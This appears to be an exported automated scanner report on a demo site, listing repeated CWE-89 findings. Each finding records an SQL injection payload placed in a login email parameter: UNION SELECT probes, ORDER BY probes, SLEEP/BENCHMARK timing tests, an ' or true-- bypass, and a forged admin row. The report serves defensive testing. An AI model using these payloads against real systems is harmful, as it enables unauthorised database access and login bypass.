width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1014
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1015
SQL InjectionScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 14--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1016
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88
)+CHAR(88)+CHAR(88)+CHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1017
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1018
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1019
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1020
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1021
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io" or sleep(5)="
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1022
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1234 " AND 1=0 UNION ALL SELECT "admin", "
81dc9bdb52d04dc20036dbd8313ed055
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1023
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' or true--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1024
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)))--ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1025
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@deepfence.io
CWE-ID CWE-89
Issue Number #1026
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1027
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1028
